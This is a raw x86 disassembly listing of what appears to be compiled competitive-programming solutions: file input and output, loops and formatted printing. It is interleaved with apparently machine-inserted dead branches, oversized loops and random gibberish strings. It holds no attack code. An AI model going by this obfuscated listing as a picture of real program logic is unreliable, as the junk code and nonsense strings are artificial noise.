mov ecx, dword [ebp - 0x13c]
mov edx, dword [ebp - 0x188]
mov dword [edx + ecx*4 + 4], eax
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x188]
and dword [ecx + eax*4], 0
jmp 0x4e82fb
mov dword [ebp - 0xd48], 1
jmp 0x4e83e0
mov eax, dword [ebp - 0xd48]
inc eax
mov dword [ebp - 0xd48], eax
mov eax, dword [ebp - 0xd48]
cmp eax, dword [ebp - 0xd40]
jg 0x4e840b
mov eax, dword [ebp - 0xd48]
mov ecx, dword [ebp - 0x188]
push dword [ecx + eax*4]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4e83d3
push dword [ebp - 0x2720]
call fcn.004f1488
pop ecx
jmp 0x4e29d1
cmp dword [ebp - 0x178c], 0x7602
jge 0x4e8434
push dword [ebp - 0x24b8]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1794], 0x12f2
jge 0x4e8450
mov edx, dword [ebp - 0x2728]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x17c4], 0x15a8
mov dword [ebp - 0x2758], str.bucqwif_ihiv_ldtbxe_opxstw_hntsdrde_itnykupou_iqnxflx_sehx_dwqylre
cmp dword [ebp - 0x17c4], 0x17b2
jle 0x4e88eb
and dword [ebp - 0xd58], 0
jmp 0x4e848a
mov eax, dword [ebp - 0xd58]
inc eax
mov dword [ebp - 0xd58], eax
cmp dword [ebp - 0xd58], 0x3d21
jge 0x4e88eb
mov dword [ebp - 0x24c4], 0x19a3
cmp dword [ebp - 0x24c4], 0x5a8
jge 0x4e86f4
call fcn.004f12b6
push 0x20
pop ecx
imul ecx, ecx, 0
add eax, ecx
push eax
push 0xab59f4
push str.in.txt
call fcn.004f1af8
add esp, 0xc
call fcn.004f12b6
push 0x20
pop ecx
shl ecx, 0
add eax, ecx
push eax
push 0xab5f10
push str.out.txt
call fcn.004f1af8
add esp, 0xc
mov eax, 0x198
imul eax, eax, 0
lea eax, [ebp + eax - 0x1155c]
push 8
pop ecx
imul ecx, ecx, 0
mov dword [eax + ecx], 1
and dword [eax + ecx + 4], 0
mov eax, 0x198
shl eax, 0
lea eax, [ebp + eax - 0x1155c]
push 8
pop ecx
imul ecx, ecx, 0
mov dword [eax + ecx], 1
and dword [eax + ecx + 4], 0
mov eax, 0x198
shl eax, 0
lea eax, [ebp + eax - 0x1155c]
push 8
pop ecx
shl ecx, 0
mov dword [eax + ecx], 1
and dword [eax + ecx + 4], 0
mov dword [ebp - 0xd4], 2
jmp 0x4e8570
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x33
jge 0x4e8652
imul eax, dword [ebp - 0xd4], 0x198
lea eax, [ebp + eax - 0x1155c]
push 8
pop ecx
imul ecx, ecx, 0
mov dword [eax + ecx], 1
and dword [eax + ecx + 4], 0
imul eax, dword [ebp - 0xd4], 0x198
lea eax, [ebp + eax - 0x1155c]
mov ecx, dword [ebp - 0xd4]
mov dword [eax + ecx*8], 1
and dword [eax + ecx*8 + 4], 0
mov dword [ebp - 0x2f8], 1
jmp 0x4e85dc
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
mov eax, dword [ebp - 0x2f8]
cmp eax, dword [ebp - 0xd4]
jge 0x4e864d
mov eax, dword [ebp - 0xd4]
dec eax
imul eax, eax, 0x198
lea eax, [ebp + eax - 0x1155c]
mov ecx, dword [ebp - 0xd4]
dec ecx
imul ecx, ecx, 0x198
lea ecx, [ebp + ecx - 0x1155c]
mov edx, dword [ebp - 0x2f8]
mov esi, dword [ebp - 0x2f8]
mov edi, dword [eax + edx*8 - 8]
add edi, dword [ecx + esi*8]
mov eax, dword [eax + edx*8 - 4]
adc eax, dword [ecx + esi*8 + 4]
imul ecx, dword [ebp - 0xd4], 0x198
lea ecx, [ebp + ecx - 0x1155c]
mov edx, dword [ebp - 0x2f8]
mov dword [ecx + edx*8], edi
mov dword [ecx + edx*8 + 4], eax
jmp 0x4e85cf
jmp 0x4e8563
xor eax, eax
inc eax
je 0x4e86f4
lea eax, [ebp - 0x12a4]
push eax
mov ecx, 0xac75e0
call fcn.00417279
cmp dword [ebp - 0x12a4], 0
jge 0x4e8677
jmp 0x4e86f4
push 1
mov ecx, 0xac7538
call fcn.00417681
mov dword [ebp - 0xd50], 1
jmp 0x4e869c
mov eax, dword [ebp - 0xd50]
inc eax
mov dword [ebp - 0xd50], eax
mov eax, dword [ebp - 0xd50]
cmp eax, dword [ebp - 0x12a4]
jg 0x4e86e0
imul eax, dword [ebp - 0x12a4], 0x198
lea eax, [ebp + eax - 0x1155c]
mov ecx, dword [ebp - 0xd50]
push dword [eax + ecx*8 + 4]
push dword [eax + ecx*8]
mov edx, 0xab59f0
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.004178b5
jmp 0x4e868f
push fcn.0041c2ab
mov ecx, 0xac7538
call fcn.00417675
jmp 0x4e8652
and dword [ebp - 0xd60], 0
jmp 0x4e870a
mov eax, dword [ebp - 0xd60]
inc eax
mov dword [ebp - 0xd60], eax
cmp dword [ebp - 0xd60], 0x34a8
jge 0x4e88e6
mov dword [ebp - 0x2730], 0x1ffb
cmp dword [ebp - 0x2730], 0xce3
jge 0x4e8894
push 0x299db68
push 0x240b768
push str._lld__lld
call fcn.004f117c
add esp, 0xc
mov dword [ebp - 0x13ac], 1
and dword [ebp - 0x13a8], 0
mov eax, dword [0x240b768]
mov dword [ebp - 0x13a0], eax
mov eax, dword [0x240b76c]
mov dword [ebp - 0x139c], eax
or dword [ebp - 0x13b8], 0xffffffff
or dword [ebp - 0x13b4], 0xffffffff
mov eax, dword [ebp - 0x13a8]
cmp eax, dword [ebp - 0x139c]
jg 0x4e884a
jl 0x4e87a6
mov eax, dword [ebp - 0x13ac]
cmp eax, dword [ebp - 0x13a0]
ja 0x4e884a
mov eax, dword [ebp - 0x13ac]
add eax, dword [ebp - 0x13a0]
mov ecx, dword [ebp - 0x13a8]
adc ecx, dword [ebp - 0x139c]
push 0
push 2
push ecx
push eax
call fcn.0050a170
mov dword [ebp - 0x110c], eax
mov dword [ebp - 0x1108], edx
push dword [ebp - 0x1108]
push dword [ebp - 0x110c]
call fcn.004cc95e
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x4e8827
mov eax, dword [ebp - 0x110c]
sub eax, 1
mov ecx, dword [ebp - 0x1108]
sbb ecx, 0
mov dword [ebp - 0x13a0], eax
mov dword [ebp - 0x139c], ecx
mov eax, dword [ebp - 0x110c]
mov dword [ebp - 0x13b8], eax
mov eax, dword [ebp - 0x1108]
mov dword [ebp - 0x13b4], eax
jmp 0x4e8845
mov eax, dword [ebp - 0x110c]
add eax, 1
mov ecx, dword [ebp - 0x1108]
adc ecx, 0
mov dword [ebp - 0x13ac], eax
mov dword [ebp - 0x13a8], ecx
jmp 0x4e8780
mov eax, dword [ebp - 0x13b8]
and eax, dword [ebp - 0x13b4]
cmp eax, 0xffffffff
jne 0x4e8868
push 0xab5a68
call fcn.004f1b87
pop ecx
jmp 0x4e8894
mov eax, dword [0x240b768]
sub eax, dword [ebp - 0x13b8]
mov ecx, dword [0x240b76c]
sbb ecx, dword [ebp - 0x13b4]
add eax, 1
adc ecx, 0
push ecx
push eax
push str._lld_n
call fcn.004f1488
add esp, 0xc
mov eax, dword [ebp - 0xd58]
mov ecx, dword [ebp - 0xd60]
shl eax, cl
cdq
mov dword [ebp - 0x27c8], eax
mov dword [ebp - 0x27c4], edx
push dword [ebp - 0x27c4]
push dword [ebp - 0x27c8]
lea ecx, [ebp - 0x37e0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x37e0]
call fcn.00401711
jmp 0x4e86fd
jmp 0x4e847d
cmp dword [ebp - 0x179c], 0x7b02
jge 0x4e8c0b
mov dword [ebp - 0x17ac], 0x769c
mov dword [ebp - 0x24dc], str.mwaku_afya_snhv_chqt_erwb_toupl_njxrun_luidvyvwi_rgo_ykurggd_aimsvdudw_ctypopbt
cmp dword [ebp - 0x17ac], 0x7993
jle 0x4e8be3
and dword [ebp - 0xd70], 0
jmp 0x4e8935
mov eax, dword [ebp - 0xd70]
inc eax
mov dword [ebp - 0xd70], eax
cmp dword [ebp - 0xd70], 0x76c7
jge 0x4e8be3
and dword [ebp - 0xd78], 0
jmp 0x4e895b
mov eax, dword [ebp - 0xd78]
inc eax
mov dword [ebp - 0xd78], eax
cmp dword [ebp - 0xd78], 0x1189
jge 0x4e8bde
mov dword [ebp - 0x24d0], 0x1845
cmp dword [ebp - 0x24d0], 0xd49
jge 0x4e8b64
push 0xd12a55
push 0xac0d90
call fcn.004f117c
pop ecx
pop ecx
test eax, eax
je 0x4e8b64
movsx eax, byte [0xd12a55]
cmp eax, 0x24
je 0x4e8b64
mov byte [ebp - 0x1b], 1
and dword [ebp - 0x46c], 0
and dword [ebp - 0x464], 0
jmp 0x4e89cf
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 4
jge 0x4e8a56
imul eax, dword [ebp - 0x464], 5
add eax, 0x2a02708
push eax
push 0xab57f4
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0xd68], 0
jmp 0x4e8a07
mov eax, dword [ebp - 0xd68]
inc eax
mov dword [ebp - 0xd68], eax
cmp dword [ebp - 0xd68], 4
jge 0x4e8a51
imul eax, dword [ebp - 0x464], 5
mov ecx, dword [ebp - 0xd68]
movsx eax, byte [eax + ecx + 0x2a02708]
cmp eax, 0x2e
jne 0x4e8a36
mov dword [ebp - 0x17a4], 1
jmp 0x4e8a3d
and dword [ebp - 0x17a4], 0
mov eax, dword [ebp - 0x46c]
add eax, dword [ebp - 0x17a4]
mov dword [ebp - 0x46c], eax
jmp 0x4e89fa
jmp 0x4e89c2
mov eax, dword [ebp - 0x46c]
dec eax
mov dword [ebp - 0x46c], eax
and dword [ebp - 0x218], 0
jmp 0x4e8a79
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
movzx eax, byte [ebp - 0x1b]
test eax, eax
je 0x4e8b4c
cmp dword [ebp - 0x218], 4
jge 0x4e8b4c
and dword [ebp - 0x220], 0
jmp 0x4e8aa8
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
movzx eax, byte [ebp - 0x1b]
test eax, eax
je 0x4e8b47
cmp dword [ebp - 0x220], 4
jge 0x4e8b47
imul eax, dword [ebp - 0x218], 5
mov ecx, dword [ebp - 0x220]
movsx eax, byte [eax + ecx + 0x2a02708]
cmp eax, 0x2e
jne 0x4e8b42
imul eax, dword [ebp - 0x218], 5
mov ecx, dword [ebp - 0x220]
mov byte [eax + ecx + 0x2a02708], 0x78
call fcn.004cca4c
cmp eax, 1
je 0x4e8b10
push dword [ebp - 0x46c]
push 0
call fcn.004ccb92
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x4e8b2d
mov byte [ebp - 0x1b], 0
push dword [ebp - 0x220]
push dword [ebp - 0x218]
push str.__d__d__n
call fcn.004f1488
add esp, 0xc
imul eax, dword [ebp - 0x218], 5
mov ecx, dword [ebp - 0x220]
mov byte [eax + ecx + 0x2a02708], 0x2e
jmp 0x4e8a9b
jmp 0x4e8a6c
movzx eax, byte [ebp - 0x1b]
test eax, eax
je 0x4e8b5f
push 0xac0da0
call fcn.004f1b87
pop ecx
jmp 0x4e8985
and dword [ebp - 0xd80], 0
jmp 0x4e8b7a
mov eax, dword [ebp - 0xd80]
inc eax
mov dword [ebp - 0xd80], eax
cmp dword [ebp - 0xd80], 0xab0
jge 0x4e8bd9
mov eax, dword [ebp - 0xd70]
sub eax, dword [ebp - 0xd78]
or eax, dword [ebp - 0xd80]
cdq
mov dword [ebp - 0x27d4], eax
mov dword [ebp - 0x27d0], edx
push dword [ebp - 0x27d0]
push dword [ebp - 0x27d4]
lea ecx, [ebp - 0x3810]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3810]
call fcn.00401711
jmp 0x4e8b6d
jmp 0x4e894e
jmp 0x4e8928
mov edx, dword [ebp - 0x2738]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x17ac], 0x731c
jge 0x4e8c0b
push dword [ebp - 0x24dc]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x2740], 0x1b8a
cmp dword [ebp - 0x2740], 0x469
jge 0x4e8d16
lea eax, [ebp - 0x12ac]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x12ac]
mov dword [ebp - 0x24e8], eax
mov eax, dword [ebp - 0x12ac]
dec eax
mov dword [ebp - 0x12ac], eax
cmp dword [ebp - 0x24e8], 0
je 0x4e8d16
lea eax, [ebp - 0x2500]
push eax
lea eax, [ebp - 0x24f4]
push eax
lea eax, [ebp - 0x2750]
push eax
lea eax, [ebp - 0x2748]
push eax
push str._d__d__d__d
call fcn.004f117c
add esp, 0x14
lea eax, [ebp - 0xd88]
push eax
lea eax, [ebp - 0x17bc]
push eax
lea eax, [ebp - 0x17b4]
push eax
push str._d__d__d
call fcn.004f117c
add esp, 0x10
mov eax, dword [ebp - 0x17b4]
sub eax, dword [ebp - 0xd88]
cmp eax, dword [ebp - 0x2748]
jl 0x4e8d06
mov eax, dword [ebp - 0x17b4]
add eax, dword [ebp - 0xd88]
cmp eax, dword [ebp - 0x24f4]
jg 0x4e8d06
mov eax, dword [ebp - 0x17bc]
sub eax, dword [ebp - 0xd88]
cmp eax, dword [ebp - 0x2750]
jl 0x4e8d06
mov eax, dword [ebp - 0x17bc]
add eax, dword [ebp - 0xd88]
cmp eax, dword [ebp - 0x2500]
jg 0x4e8d06
push str.Just_do_it
call fcn.004f1b87
pop ecx
jmp 0x4e8d11
push str.Dont_get_close_to_it
call fcn.004f1b87
pop ecx
jmp 0x4e8c38
cmp dword [ebp - 0x17c4], 0x1326
jge 0x4e8d2e
push dword [ebp - 0x2758]
call fcn.004f1488
pop ecx
push 1
push 0x6077
push 1
push 0x45e2
push 0x6c1b
push 1
push 1
push 0x6fd5
push 0x2659
push 1
push 1
push 0x409f
call fcn.0048f0ec
add esp, 0x30
mov dword [ebp - 0x250c], 0x2248
cmp dword [ebp - 0x250c], 0xe82
jge 0x4e92b4
mov dword [ebp - 0x2f18], 4
push 4
lea ecx, [ebp - 0xc4]
call fcn.004179d7
push 3
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
push eax
push 2
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
push eax
push 1
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
push eax
push 0
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
push eax
push str._ld__ld__ld__ld_n
call fcn.004f117c
add esp, 0x14
push 3
lea ecx, [ebp - 0x1118]
call fcn.00418261
push 2
lea ecx, [ebp - 0x1118]
call fcn.004182fc
push eax
push 1
lea ecx, [ebp - 0x1118]
call fcn.004182fc
push eax
push 0
lea ecx, [ebp - 0x1118]
call fcn.004182fc
push eax
push str._c__c__c_n
call fcn.004f117c
add esp, 0x10
mov dword [ebp - 0x1fc], 0x4e72a000
mov dword [ebp - 0x1f8], 0x918
lea eax, [ebp - 0x2e0c]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00417b02
push dword [eax]
lea eax, [ebp - 0x2f2c]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00417af4
push dword [eax]
call fcn.0041c23e
pop ecx
pop ecx
push 0
lea ecx, [ebp - 0x1118]
call fcn.004182fc
movsx eax, byte [eax]
cmp eax, 0x2b
jne 0x4e8e9d
push 0
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov esi, eax
push 1
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov ecx, dword [esi]
add ecx, dword [eax]
mov eax, ecx
cdq
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
jmp 0x4e8ec7
push 0
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov esi, eax
push 1
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov ecx, dword [esi]
imul ecx, dword [eax]
mov eax, ecx
cdq
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
push 1
lea ecx, [ebp - 0x1118]
call fcn.004182fc
movsx eax, byte [eax]
cmp eax, 0x2b
jne 0x4e8efa
push 2
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov eax, dword [eax]
cdq
add eax, dword [ebp - 8]
adc edx, dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
jmp 0x4e8f1d
push 2
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov eax, dword [eax]
cdq
push edx
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004f5310
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
push 2
lea ecx, [ebp - 0x1118]
call fcn.004182fc
movsx eax, byte [eax]
cmp eax, 0x2b
jne 0x4e8f50
push 3
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov eax, dword [eax]
cdq
add eax, dword [ebp - 8]
adc edx, dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
jmp 0x4e8f73
push 3
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov eax, dword [eax]
cdq
push edx
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004f5310
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1f8]
jg 0x4e8f9d
jl 0x4e8f8b
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x1fc]
jae 0x4e8f9d
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1f8], eax
push 0
lea ecx, [ebp - 0x1118]
call fcn.004182fc
movsx eax, byte [eax]
cmp eax, 0x2b
jne 0x4e8fe3
push 0
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov esi, eax
push 1
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov ecx, dword [esi]
add ecx, dword [eax]
mov eax, ecx
cdq
mov dword [ebp - 0x13d0], eax
mov dword [ebp - 0x13cc], edx
jmp 0x4e9013
push 0
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov esi, eax
push 1
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov ecx, dword [esi]
imul ecx, dword [eax]
mov eax, ecx
cdq
mov dword [ebp - 0x13d0], eax
mov dword [ebp - 0x13cc], edx
push 1
lea ecx, [ebp - 0x1118]
call fcn.004182fc
movsx eax, byte [eax]
cmp eax, 0x2b
jne 0x4e9059
push 2
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov esi, eax
push 3
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov ecx, dword [esi]
add ecx, dword [eax]
mov eax, ecx
cdq
mov dword [ebp - 0x13c4], eax
mov dword [ebp - 0x13c0], edx
jmp 0x4e9089
push 2
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov esi, eax
push 3
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov ecx, dword [esi]
imul ecx, dword [eax]
mov eax, ecx
cdq
mov dword [ebp - 0x13c4], eax
mov dword [ebp - 0x13c0], edx
push 2
lea ecx, [ebp - 0x1118]
call fcn.004182fc
movsx eax, byte [eax]
cmp eax, 0x2b
jne 0x4e90be
mov eax, dword [ebp - 0x13d0]
add eax, dword [ebp - 0x13c4]
mov ecx, dword [ebp - 0x13cc]
adc ecx, dword [ebp - 0x13c0]
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
jmp 0x4e90e1
push dword [ebp - 0x13c0]
push dword [ebp - 0x13c4]
push dword [ebp - 0x13cc]
push dword [ebp - 0x13d0]
call fcn.004f5310
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1f8]
jg 0x4e910b
jl 0x4e90f9
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x1fc]
jae 0x4e910b
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1f8], eax
push 0
lea ecx, [ebp - 0x1118]
call fcn.004182fc
movsx eax, byte [eax]
cmp eax, 0x2b
jne 0x4e914b
push 2
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov esi, eax
push 3
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov ecx, dword [esi]
add ecx, dword [eax]
mov eax, ecx
cdq
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
jmp 0x4e9175
push 2
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov esi, eax
push 3
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov ecx, dword [esi]
imul ecx, dword [eax]
mov eax, ecx
cdq
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
push 1
lea ecx, [ebp - 0x1118]
call fcn.004182fc
movsx eax, byte [eax]
cmp eax, 0x2b
jne 0x4e91a8
push 1
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov eax, dword [eax]
cdq
add eax, dword [ebp - 8]
adc edx, dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
jmp 0x4e91cb
push 1
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov eax, dword [eax]
cdq
push edx
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004f5310
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
push 2
lea ecx, [ebp - 0x1118]
call fcn.004182fc
movsx eax, byte [eax]
cmp eax, 0x2b
jne 0x4e91fe
push 0
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov eax, dword [eax]
cdq
add eax, dword [ebp - 8]
adc edx, dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
jmp 0x4e9221
push 0
lea ecx, [ebp - 0xc4]
call fcn.00417bb8
mov eax, dword [eax]
cdq
push edx
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004f5310
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1f8]
jg 0x4e924b
jl 0x4e9239
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x1fc]
jae 0x4e924b
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1f8], eax
lea eax, [ebp - 0x2e24]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00417b02
push dword [eax]
lea eax, [ebp - 0x2ec4]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00417af4
push dword [eax]
call fcn.0041c931
pop ecx
pop ecx
movzx eax, al
test eax, eax
jne 0x4e8e5d
push dword [ebp - 0x1f8]
push dword [ebp - 0x1fc]
push str._lld_n
call fcn.004f1488
add esp, 0xc
lea ecx, [ebp - 0x1118]
call fcn.00417fb0
lea ecx, [ebp - 0xc4]
call fcn.00417aef
mov dword [ebp - 0x17d4], 0x54fc
mov dword [ebp - 0x2518], str.bupmef_fueitjogh_ckmak_rce_gbuhvcjg
cmp dword [ebp - 0x17d4], 0x55e4
jle 0x4e93a1
and dword [ebp - 0xd90], 0
jmp 0x4e92ee
mov eax, dword [ebp - 0xd90]
inc eax
mov dword [ebp - 0xd90], eax
cmp dword [ebp - 0xd90], 0x4c71
jge 0x4e93a1
and dword [ebp - 0xd98], 0
jmp 0x4e9314
mov eax, dword [ebp - 0xd98]
inc eax
mov dword [ebp - 0xd98], eax
cmp dword [ebp - 0xd98], 0x7b5b
jge 0x4e939c
and dword [ebp - 0xda0], 0
jmp 0x4e9336
mov eax, dword [ebp - 0xda0]
inc eax
mov dword [ebp - 0xda0], eax
cmp dword [ebp - 0xda0], 0x37db
jge 0x4e9397
mov eax, dword [ebp - 0xd90]
add eax, dword [ebp - 0xd98]
mov ecx, dword [ebp - 0xda0]
shl eax, cl
cdq
mov dword [ebp - 0x27e0], eax
mov dword [ebp - 0x27dc], edx
push dword [ebp - 0x27dc]
push dword [ebp - 0x27e0]
lea ecx, [ebp - 0x3840]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3840]
call fcn.00401711
jmp 0x4e9329
jmp 0x4e9307
jmp 0x4e92e1
cmp dword [ebp - 0x17cc], 0x2805
jge 0x4e93bd
mov edx, dword [ebp - 0x2760]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x17d4], 0x51f5
jge 0x4e93d5
push dword [ebp - 0x2518]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x17dc], 0xc3d
jge 0x4e93f1
mov edx, dword [ebp - 0x2768]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x17e4], 0x3bd1
mov dword [ebp - 0x2548], str.tkjsymutt_fhyoro_shvfbs_cwnhvcm_rpic_udmx_fneephlmo_dlwtjoda_vfnhyreq_yccbqrfis_qnptysbw_eecyakw_tcuvu
cmp dword [ebp - 0x17e4], 0x3c10
jle 0x4e9834
and dword [ebp - 0xdb0], 0
jmp 0x4e942b
mov eax, dword [ebp - 0xdb0]
inc eax
mov dword [ebp - 0xdb0], eax
cmp dword [ebp - 0xdb0], 0x4cb3
jge 0x4e9834
and dword [ebp - 0xdb8], 0
jmp 0x4e9451
mov eax, dword [ebp - 0xdb8]
inc eax
mov dword [ebp - 0xdb8], eax
cmp dword [ebp - 0xdb8], 0x6b0e
jge 0x4e982f
and dword [ebp - 0xdc0], 0
jmp 0x4e9477
mov eax, dword [ebp - 0xdc0]
inc eax
mov dword [ebp - 0xdc0], eax
cmp dword [ebp - 0xdc0], 0x23c8
jge 0x4e982a
mov dword [ebp - 0x2524], 0x2177
cmp dword [ebp - 0x2524], 0xb42
jge 0x4e97f0
movsd xmm0, qword [0xac2b10]
movsd qword [ebp - 0x3094], xmm0
movsd xmm0, qword [0xac2b48]
movsd qword [ebp - 0x2dc4], xmm0
lea eax, [ebp - 0x12b4]
push eax
lea eax, [ebp - 0x30c]
push eax
push str._ld__ld
call fcn.004f117c
add esp, 0xc
imul eax, dword [ebp - 0x30c], 0xa
mov dword [ebp - 0xda8], eax
movsd xmm0, qword [0xac2b00]
movsd qword [ebp - 0x2dfc], xmm0
lea eax, [ebp - 0x2dfc]
push eax
push dword [ebp - 0xda8]
lea ecx, [ebp - 0x2fd0]
call fcn.004e9ed3
push eax
mov eax, dword [ebp - 0x30c]
inc eax
push eax
lea ecx, [ebp - 0x1b88]
call fcn.004ea104
lea ecx, [ebp - 0x2fd0]
call fcn.00417aef
push 0
push 0
lea ecx, [ebp - 0x1b88]
call fcn.004180a6
mov ecx, eax
call fcn.00417fcc
movsd xmm0, qword [0xac2b28]
movsd qword [eax], xmm0
mov dword [ebp - 0x184], 1
jmp 0x4e956b
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x184]
cmp eax, dword [ebp - 0x30c]
jg 0x4e96ae
mov dword [ebp - 0x304], 1
jmp 0x4e9596
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x304]
cmp eax, dword [ebp - 0xda8]
jge 0x4e96a9
cvtsi2sd xmm0, dword [ebp - 0x184]
mulsd xmm0, qword [0xac2b28]
cvtsi2sd xmm1, dword [ebp - 0x30c]
divsd xmm0, xmm1
mov eax, dword [ebp - 0x304]
dec eax
push eax
push dword [ebp - 0x184]
lea ecx, [ebp - 0x1b88]
movsd qword [ebp - 0x2e08], xmm0
call fcn.004180a6
mov ecx, eax
call fcn.00417fcc
movsd xmm0, qword [ebp - 0x2e08]
mulsd xmm0, qword [eax]
cvtsi2sd xmm1, dword [ebp - 0x184]
subsd xmm1, qword [0xac2b28]
mulsd xmm1, qword [0xac2b28]
cvtsi2sd xmm2, dword [ebp - 0x30c]
divsd xmm1, xmm2
movsd xmm2, qword [0xac2b28]
subsd xmm2, xmm1
mov eax, dword [ebp - 0x304]
dec eax
push eax
mov eax, dword [ebp - 0x184]
dec eax
push eax
lea ecx, [ebp - 0x1b88]
movsd qword [ebp - 0x2e20], xmm0
movsd qword [ebp - 0x2e14], xmm2
call fcn.004180a6
mov ecx, eax
call fcn.00417fcc
movsd xmm0, qword [ebp - 0x2e14]
mulsd xmm0, qword [eax]
movsd xmm1, qword [ebp - 0x2e20]
addsd xmm1, xmm0
push dword [ebp - 0x304]
push dword [ebp - 0x184]
lea ecx, [ebp - 0x1b88]
movsd qword [ebp - 0x2e2c], xmm1
call fcn.004180a6
mov ecx, eax
call fcn.00417fcc
movsd xmm0, qword [ebp - 0x2e2c]
movsd qword [eax], xmm0
jmp 0x4e9589
jmp 0x4e955e
push dword [ebp - 0xda8]
lea ecx, [ebp - 0x2a44]
call fcn.004e9e53
and dword [ebp - 0x474], 0
jmp 0x4e96d5
mov eax, dword [ebp - 0x474]
inc eax
mov dword [ebp - 0x474], eax
mov eax, dword [ebp - 0x474]
cmp eax, dword [ebp - 0xda8]
jge 0x4e971e
push dword [ebp - 0x474]
push dword [ebp - 0x30c]
lea ecx, [ebp - 0x1b88]
call fcn.004180a6
mov ecx, eax
call fcn.00417fcc
mov esi, eax
push dword [ebp - 0x474]
lea ecx, [ebp - 0x2a44]
call fcn.00417fcc
movsd xmm0, qword [esi]
movsd qword [eax], xmm0
